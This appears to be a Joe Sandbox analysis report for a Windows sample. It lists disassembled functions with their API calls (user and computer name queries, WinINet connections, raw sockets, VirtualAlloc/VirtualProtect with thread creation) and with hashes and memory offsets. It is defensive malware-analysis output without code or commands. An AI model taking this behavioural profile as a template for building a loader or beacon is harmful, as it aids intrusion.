Function 00DB7F09 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

GetUserNameA.ADVAPI32(?,?), ref: 00DB7F6E
GetComputerNameA.KERNEL32(?,?), ref: 00DB7F7E
GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,?,?,?,?,?,?,00000000), ref: 00DB7F92
_strrchr.LIBCMT ref: 00DB7FA1
GetVersionExA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00DB7FBC
__snprintf.LIBCMT ref: 00DB8028

Strings

%s%s%s, xrefs: 00DB801F

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Name$_malloc$ComputerFileModuleUserVersion__snprintf_strrchr
String ID: %s%s%s
API String ID: 1877169212-1891519693
Opcode ID: 9b48ae569941062a8ba7aa3ac8932514c71d4a8eeed8b60b5f5f3d8e69d11342
Instruction ID: 051df6b8c47dd3ac032988e7781ad838a73aac6732b36ed9eced96f1f2c9f4a9
Opcode Fuzzy Hash: 9b48ae569941062a8ba7aa3ac8932514c71d4a8eeed8b60b5f5f3d8e69d11342
Instruction Fuzzy Hash: 5A418A72D00205EECF11AFA1EC4A9FEBFB8EF04710F10445AF401A6291DB758A41EB70

Function 00DB7F09 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

GetUserNameA.ADVAPI32(?,?), ref: 00DB7F6E
GetComputerNameA.KERNEL32(?,?), ref: 00DB7F7E
GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,?,?,?,?,?,?,00000000), ref: 00DB7F92
_strrchr.LIBCMT ref: 00DB7FA1
GetVersionExA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00DB7FBC
__snprintf.LIBCMT ref: 00DB8028

Strings

%s%s%s, xrefs: 00DB801F

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Name$_malloc$ComputerFileModuleUserVersion__snprintf_strrchr
String ID: %s%s%s
API String ID: 1877169212-1891519693
Opcode ID: 39aaea07771c17afe4aa773ca0ad8f35589e51179ff3fcfdb541bfce4877fe4f
Instruction ID: 051df6b8c47dd3ac032988e7781ad838a73aac6732b36ed9eced96f1f2c9f4a9
Opcode Fuzzy Hash: 39aaea07771c17afe4aa773ca0ad8f35589e51179ff3fcfdb541bfce4877fe4f
Instruction Fuzzy Hash: 5A418A72D00205EECF11AFA1EC4A9FEBFB8EF04710F10445AF401A6291DB758A41EB70

Function 004013C1 Relevance: 12.1, APIs: 8, Instructions: 108
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_amsg_exit.MSVCRT ref: 004013E2
_initterm.MSVCRT ref: 00401404

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2053141405-0
Opcode ID: 03f94abf2d86f45a5c2415d1c739ceeb502182650b68f8019ac87a932fbe833c
Instruction ID: 176527dceee54676b3400d832f202c7b1996cfd354b1dcf2f579e8dd7b9a5ba8
Opcode Fuzzy Hash: 03f94abf2d86f45a5c2415d1c739ceeb502182650b68f8019ac87a932fbe833c
Instruction Fuzzy Hash: 974118B4A043058FDB10EF65E98575EBBE0FB48705F10843EE984A73A2D7B8D845CB59

Function 004011A3 Relevance: 10.6, APIs: 7, Instructions: 114
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_amsg_exit.MSVCRT ref: 004013E2
_initterm.MSVCRT ref: 00401404

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled__p__acmdln_amsg_exit_inittermmemcpystrlen
String ID:
API String ID: 2230096795-0
Opcode ID: 85e1cf29ecf6396504c26cb88095de616834151ce1f924ca111f46e639445432
Instruction ID: ee64299d2f4f8c50c0c592fa26e83c8470f2d6fe6e7dfb634f206cb54a3f681e
Opcode Fuzzy Hash: 85e1cf29ecf6396504c26cb88095de616834151ce1f924ca111f46e639445432
Instruction Fuzzy Hash: 7F4107B4A043058FDB10DF69E98471EBBE0BB48705F14453EE988A73A2D778D845CB99

Function 00401160 Relevance: 9.1, APIs: 6, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00401238
__p__acmdln.MSVCRT ref: 00401261
malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
GetStartupInfoA.KERNEL32 ref: 00401433

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 8f109d0c8fcfb376cf6425773cd7d35a5131f80409148732b39be14af764f308
Instruction ID: 14d090d825811c9464361f5f824c2d109dd69b69c83bbf3de982eb4becc4467a
Opcode Fuzzy Hash: 8f109d0c8fcfb376cf6425773cd7d35a5131f80409148732b39be14af764f308
Instruction Fuzzy Hash: ED5168B5A043058FDB10DFA9E984B1ABBE0FB48705F10453EE944AB3A2D778D845CB99

Function 00DBEF82 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
encryptionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000020,00000000,00000000,?,?,00DBEFF8,?,00DB8090,?,00DB8090,?), ref: 00DBEFA5
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Base Cryptographic Provider v1.0,00000001,F0000028,?,?,00DBEFF8,?,00DB8090,?,00DB8090,?), ref: 00DBEFB8
CryptGenRandom.ADVAPI32(00000000,00DB8090,?,?,?,00DBEFF8,?,00DB8090,?,00DB8090,?), ref: 00DBEFCC
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,00DBEFF8,?,00DB8090,?,00DB8090,?), ref: 00DBEFDC

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 00DBEF99, 00DBEF9E, 00DBEFB2

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 685801729-291530887
Opcode ID: c824a87fc7bcef90be91e0c10a0595d917fa9b64215f6cb250d63412a41fde4d
Instruction ID: 9ce8746fe4fd27adf1750e7c226bee9a776fa879ce86400dd87352f20aeafa19
Opcode Fuzzy Hash: c824a87fc7bcef90be91e0c10a0595d917fa9b64215f6cb250d63412a41fde4d
Instruction Fuzzy Hash: A9F08136A45218F7DF214695CC09FEF7B6CDB49764F214052FA01E7280D770EA00A6B4

Function 0040161C Relevance: 6.1, APIs: 4, Instructions: 56
pipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeA.KERNEL32 ref: 00401671
ConnectNamedPipe.KERNELBASE ref: 0040168D
WriteFile.KERNEL32 ref: 004016B7
CloseHandle.KERNELBASE ref: 004016C7

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: NamedPipe$CloseConnectCreateFileHandleWrite
String ID:
API String ID: 2239253087-0
Opcode ID: 588faa4c15bb17f6641a11f41d94c7d67e31f3f64e51a70bffe85c2206670ea5
Instruction ID: 647ba10e4562674360e559436f846850fae7207d816ad69ae546ddef800915d1
Opcode Fuzzy Hash: 588faa4c15bb17f6641a11f41d94c7d67e31f3f64e51a70bffe85c2206670ea5
Instruction Fuzzy Hash: C1114CB0804305AFD7109F66C84836FBBF8EB84359F00892EE895973A1D37AC4488F96

Function 00401805 Relevance: 21.0, APIs: 3, Strings: 9, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040180B
sprintf.MSVCRT ref: 00401875
CreateThread.KERNELBASE ref: 004018A9

Strings

\, xrefs: 00401852
\, xrefs: 0040185A
\, xrefs: 00401842
e, xrefs: 00401822
i, xrefs: 00401832
p, xrefs: 0040182A
., xrefs: 0040184A
p, xrefs: 0040183A
\, xrefs: 00401818

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: CountCreateThreadTicksprintf
String ID: .$\$\$\$\$e$i$p$p
API String ID: 1367138260-609229641
Opcode ID: 6993ad00b22fa5709ddfae83127fd071b9715a62268548fc0a47211300f561df
Instruction ID: 85e9528532d9762a1f7b070758f0f1347f94744085bed28000c50463c0499d60
Opcode Fuzzy Hash: 6993ad00b22fa5709ddfae83127fd071b9715a62268548fc0a47211300f561df
Instruction Fuzzy Hash: E50160B4408701DFE3009F16D55C31BBEE1AB84749F00891DE5991A2A1C7BE864CCF9A

Function 00DB8060 Relevance: 12.1, APIs: 8, Instructions: 124
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetACP.KERNEL32(00000000,00000000,00000080,?,?,?,?,?,?,?,?,00DB14C0,00000000,00000000), ref: 00DB8069
GetOEMCP.KERNEL32(?,?,?,?,?,?,?,?,00DB14C0,00000000,00000000), ref: 00DB8075
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00DB14C0,00000000), ref: 00DB80A2
GetTickCount.KERNEL32 ref: 00DB80A6

Part of subcall function 00DC8C0A: __getptd.LIBCMT ref: 00DC8C0F

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00DB14C0,00000000), ref: 00DB80D3
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00DB14C0,00000000), ref: 00DB8139
_memset.LIBCMT ref: 00DB8170
_memset.LIBCMT ref: 00DB81AF

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CurrentProcess$_memset$CountTick__getptd
String ID:
API String ID: 3908538216-0
Opcode ID: d06c872a493a1bbc6f599a6ea7021751f94745041d3f1e6cede3c86d3d1ba40e
Instruction ID: b632cb67fe1df459fcf343a40658facea095608a3b5f37190c61c92322d5459f
Opcode Fuzzy Hash: d06c872a493a1bbc6f599a6ea7021751f94745041d3f1e6cede3c86d3d1ba40e
Instruction Fuzzy Hash: A4319373900208FADB11BBB1AC46EEE7FA8DF08364F14405AF906E7292DE75CA449670

Function 00DB273C Relevance: 9.1, APIs: 6, Instructions: 115networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00DB1572,00000003,00000000,00000000,00000000), ref: 00DB27C2
InternetSetOptionA.WININET(00000005,0003A980,00000004), ref: 00DB27E1
InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 00DB27F1
InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00DEFFC4), ref: 00DB2809
InternetSetOptionA.WININET(00000000,0000002B,00000000,00000000), ref: 00DB283A
InternetSetOptionA.WININET(0000002C,00000000,00000000), ref: 00DB2856

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Internet$Option$ConnectOpen
String ID:
API String ID: 230958251-0
Opcode ID: 914df7411ac79997f32733a4b41e1db7f444c1ff1bc1f583dbab305b7250317f
Instruction ID: 5e353c7e07c26f5a540faeb86b22f755710cfb2533c092586ffec43f39df2e5b
Opcode Fuzzy Hash: 914df7411ac79997f32733a4b41e1db7f444c1ff1bc1f583dbab305b7250317f
Instruction Fuzzy Hash: 9831C272590384FAEA313B61AC4AFFB3F29EB81B14F10502AF602DD1D1DE758A45C678

Function 00DB131C Relevance: 7.8, APIs: 5, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

_malloc.LIBCMT ref: 00DB13B2

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,00DD181E,00000000,00000001,00000000,?,00DCA834,00000018,00DE3700,0000000C,00DCA8C5), ref: 00DC8876

Part of subcall function 00DBCB1C: __time64.LIBCMT ref: 00DBCB28
Part of subcall function 00DBCB1C: _malloc.LIBCMT ref: 00DBCB71
Part of subcall function 00DBCB1C: _memset.LIBCMT ref: 00DBCB8F
Part of subcall function 00DBCB1C: _strtok.LIBCMT ref: 00DBCBB4
Part of subcall function 00DBCB1C: _strtok.LIBCMT ref: 00DBCBE6

Part of subcall function 00DB5C3E: __time64.LIBCMT ref: 00DB5C4B

Part of subcall function 00DBEA37: _malloc.LIBCMT ref: 00DBEA5E
Part of subcall function 00DBEA37: _memset.LIBCMT ref: 00DBEA8C

Part of subcall function 00DBEA37: _realloc.LIBCMT ref: 00DBEA6D

_malloc.LIBCMT ref: 00DB1486
__snprintf.LIBCMT ref: 00DB14E8
__snprintf.LIBCMT ref: 00DB1507
__snprintf.LIBCMT ref: 00DB1525

Part of subcall function 00DBDE47: Sleep.KERNEL32(000003E8,00000000,00000000,00000080,00DB16C4), ref: 00DBDE84
Part of subcall function 00DBDE47: ExitThread.KERNEL32 ref: 00DBDE8E

Part of subcall function 00DB273C: InternetOpenA.WININET(00DB1572,00000003,00000000,00000000,00000000), ref: 00DB27C2
Part of subcall function 00DB273C: InternetSetOptionA.WININET(00000005,0003A980,00000004), ref: 00DB27E1
Part of subcall function 00DB273C: InternetSetOptionA.WININET(00000006,0003A980,00000004), ref: 00DB27F1
Part of subcall function 00DB273C: InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00DEFFC4), ref: 00DB2809
Part of subcall function 00DB273C: InternetSetOptionA.WININET(00000000,0000002B,00000000,00000000), ref: 00DB283A
Part of subcall function 00DB273C: InternetSetOptionA.WININET(0000002C,00000000,00000000), ref: 00DB2856

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: Internet_malloc$Option$__snprintf$__time64_memset_strtok$AllocateConnectExitHeapOpenSleepThread_realloc
String ID:
API String ID: 3506699640-0
Opcode ID: 4f1505f5c13b54573ad0c605ce982d1566c7931be01a99d8a4d9f60f99c0f9bd
Instruction ID: 2900882603d310469d0f331e603811e01a76a3789d9b1a831688a1f04d05f448
Opcode Fuzzy Hash: 4f1505f5c13b54573ad0c605ce982d1566c7931be01a99d8a4d9f60f99c0f9bd
Instruction Fuzzy Hash: 08911472904301EBD6207B759C03FEF77E5EF84760F580919F586AA1D2EE71C9009AB6

Function 00DB131C Relevance: 7.8, APIs: 5, Instructions: 308
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81C2
Part of subcall function 00DB81BC: _malloc.LIBCMT ref: 00DB81D2

_malloc.LIBCMT ref: 00DB13B2

Part of subcall function 00DC87FF: __FF_MSGBANNER.LIBCMT ref: 00DC8822
Part of subcall function 00DC87FF: __NMSG_WRITE.LIBCMT ref: 00DC8829
Part of subcall function 00DC87FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00DEFFA0,?,00DB106E,00004008,?,?,?,?,00000003,?,70207369), ref: 00DC8876

Part of subcall function 00DBCB1C: __time64.LIBCMT ref: 00DBCB28
Part of subcall function 00DBCB1C: _malloc.LIBCMT ref: 00DBCB71
Part of subcall function 00DBCB1C: _memset.LIBCMT ref: 00DBCB8F
Part of subcall function 00DBCB1C: _strtok.LIBCMT ref: 00DBCBB4
Part of subcall function 00DBCB1C: _strtok.LIBCMT ref: 00DBCBE6

Part of subcall function 00DBEA37: _malloc.LIBCMT ref: 00DBEA5E
Part of subcall function 00DBEA37: _memset.LIBCMT ref: 00DBEA8C

Part of subcall function 00DBEA37: _realloc.LIBCMT ref: 00DBEA6D

_malloc.LIBCMT ref: 00DB1486
__snprintf.LIBCMT ref: 00DB14E8
__snprintf.LIBCMT ref: 00DB1507
__snprintf.LIBCMT ref: 00DB1525

Part of subcall function 00DBDE47: Sleep.KERNEL32(000003E8,00000000,00000000,00000080,00DB16C4), ref: 00DBDE84
Part of subcall function 00DBDE47: RtlExitUserThread.NTDLL(00000000,00000000,00000000,00000080,00DB16C4), ref: 00DBDE8E
Part of subcall function 00DBDE47: WaitForSingleObject.KERNEL32(00000000,00000000,00000080,00DB16C4), ref: 00DBDEAF

Part of subcall function 00DB273C: InternetOpenA.WININET(00DB1572,00000003,00000000,00000000,00000000), ref: 00DB27C2
Part of subcall function 00DB273C: InternetConnectA.WININET(?,?,00000000,00000000,00000003,00000000,00DEFFC4), ref: 00DB2809

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc$__snprintf$Internet_memset_strtok$AllocateConnectExitHeapObjectOpenSingleSleepThreadUserWait__time64_realloc
String ID:
API String ID: 431395496-0
Opcode ID: 785c1a1f2b65c52826bdb9a5481cb86a1e9d5777b189bfa056c66138993a9795
Instruction ID: 2900882603d310469d0f331e603811e01a76a3789d9b1a831688a1f04d05f448
Opcode Fuzzy Hash: 785c1a1f2b65c52826bdb9a5481cb86a1e9d5777b189bfa056c66138993a9795
Instruction Fuzzy Hash: 08911472904301EBD6207B759C03FEF77E5EF84760F580919F586AA1D2EE71C9009AB6

Function 0040156C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00401592
VirtualProtect.KERNELBASE ref: 004015D8
CreateThread.KERNELBASE ref: 0040160C

Strings

, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: Virtual$AllocCreateProtectThread
String ID:
API String ID: 3039780055-3916222277
Opcode ID: 7116a479f18e8398ab62b384885a83961a77cbf5e6f43067b0417bc4564eeb7b
Instruction ID: e62f9da5006a8b60ac6d7aa8aa559fb842e3793d0c2f75f38c45ec490f2c7fc1
Opcode Fuzzy Hash: 7116a479f18e8398ab62b384885a83961a77cbf5e6f43067b0417bc4564eeb7b
Instruction Fuzzy Hash: FD1148B0408304AFD700AF25C48835EBFF4EB88358F40C86EE9998B391D37984098B92

Function 00401296 Relevance: 5.1, APIs: 4, Instructions: 79
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 948a088ca798df2e7dce449238bcaf35f26902c4bc7ea522de66c663b67a1438
Instruction ID: 2b272e4b46966ba8deed0fafeb192a19a89914a185c4b83b395d914033f718ae
Opcode Fuzzy Hash: 948a088ca798df2e7dce449238bcaf35f26902c4bc7ea522de66c663b67a1438
Instruction Fuzzy Hash: CB3136B9A003058FCB10DF65E98075ABBF1FB44705F14853ED988A73A2E778E945CB89

Function 004013B3 Relevance: 5.1, APIs: 4, Instructions: 65
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004012EB
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C

Memory Dump Source

Source File: 00000000.00000002.4124711597.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4124700446.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124722740.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124733573.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124757842.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4124769608.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_12.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: f5e0c9adc78a94dab72ef4a8ccb92d4597cac7524235f195ea0d1421677b0eb4
Instruction ID: 9b3cccf6e9dd94e7ac684493c2e87501ce7787e5f0140ca7f17ca5cac32b3744
Opcode Fuzzy Hash: f5e0c9adc78a94dab72ef4a8ccb92d4597cac7524235f195ea0d1421677b0eb4
Instruction Fuzzy Hash: EF2112B8A003058FCB10DF69E880659BBF0FB48705F10843ED988A73A2E774A945CB89

Function 00DB2F1B Relevance: 4.6, APIs: 3, Instructions: 68networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00DB2E6E: WSAStartup.WS2_32(00000202,?), ref: 00DB2E8F
Part of subcall function 00DB2E6E: WSACleanup.WS2_32 ref: 00DB2E99

WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 00DB2F3F
WSAIoctl.WS2_32(00000000,4004747F,00000000,00000000,?,000005F0,?,00000000,00000000), ref: 00DB2F6A
closesocket.WS2_32(00000000), ref: 00DB2FA9

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: CleanupIoctlSocketStartupclosesocket
String ID:
API String ID: 1100289767-0
Opcode ID: 25a1cade9d9a1ec90bc3a16f961ffc886d68abec4331356a4ef07da50ac2384b
Instruction ID: 5537fc31ffa5fbb0ac09be44264f8c8655e5644c8ff41f871c4d478a3134d972
Opcode Fuzzy Hash: 25a1cade9d9a1ec90bc3a16f961ffc886d68abec4331356a4ef07da50ac2384b
Instruction Fuzzy Hash: 37119472601218FBD7208A669C49EFF7F7DDF89760F148026F90AD6180D670884186B0

Function 00DB2F1B Relevance: 4.6, APIs: 3, Instructions: 68networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DB2E6E: WSAStartup.WS2_32(00000202,?), ref: 00DB2E8F
Part of subcall function 00DB2E6E: WSACleanup.WS2_32 ref: 00DB2E99

WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 00DB2F3F
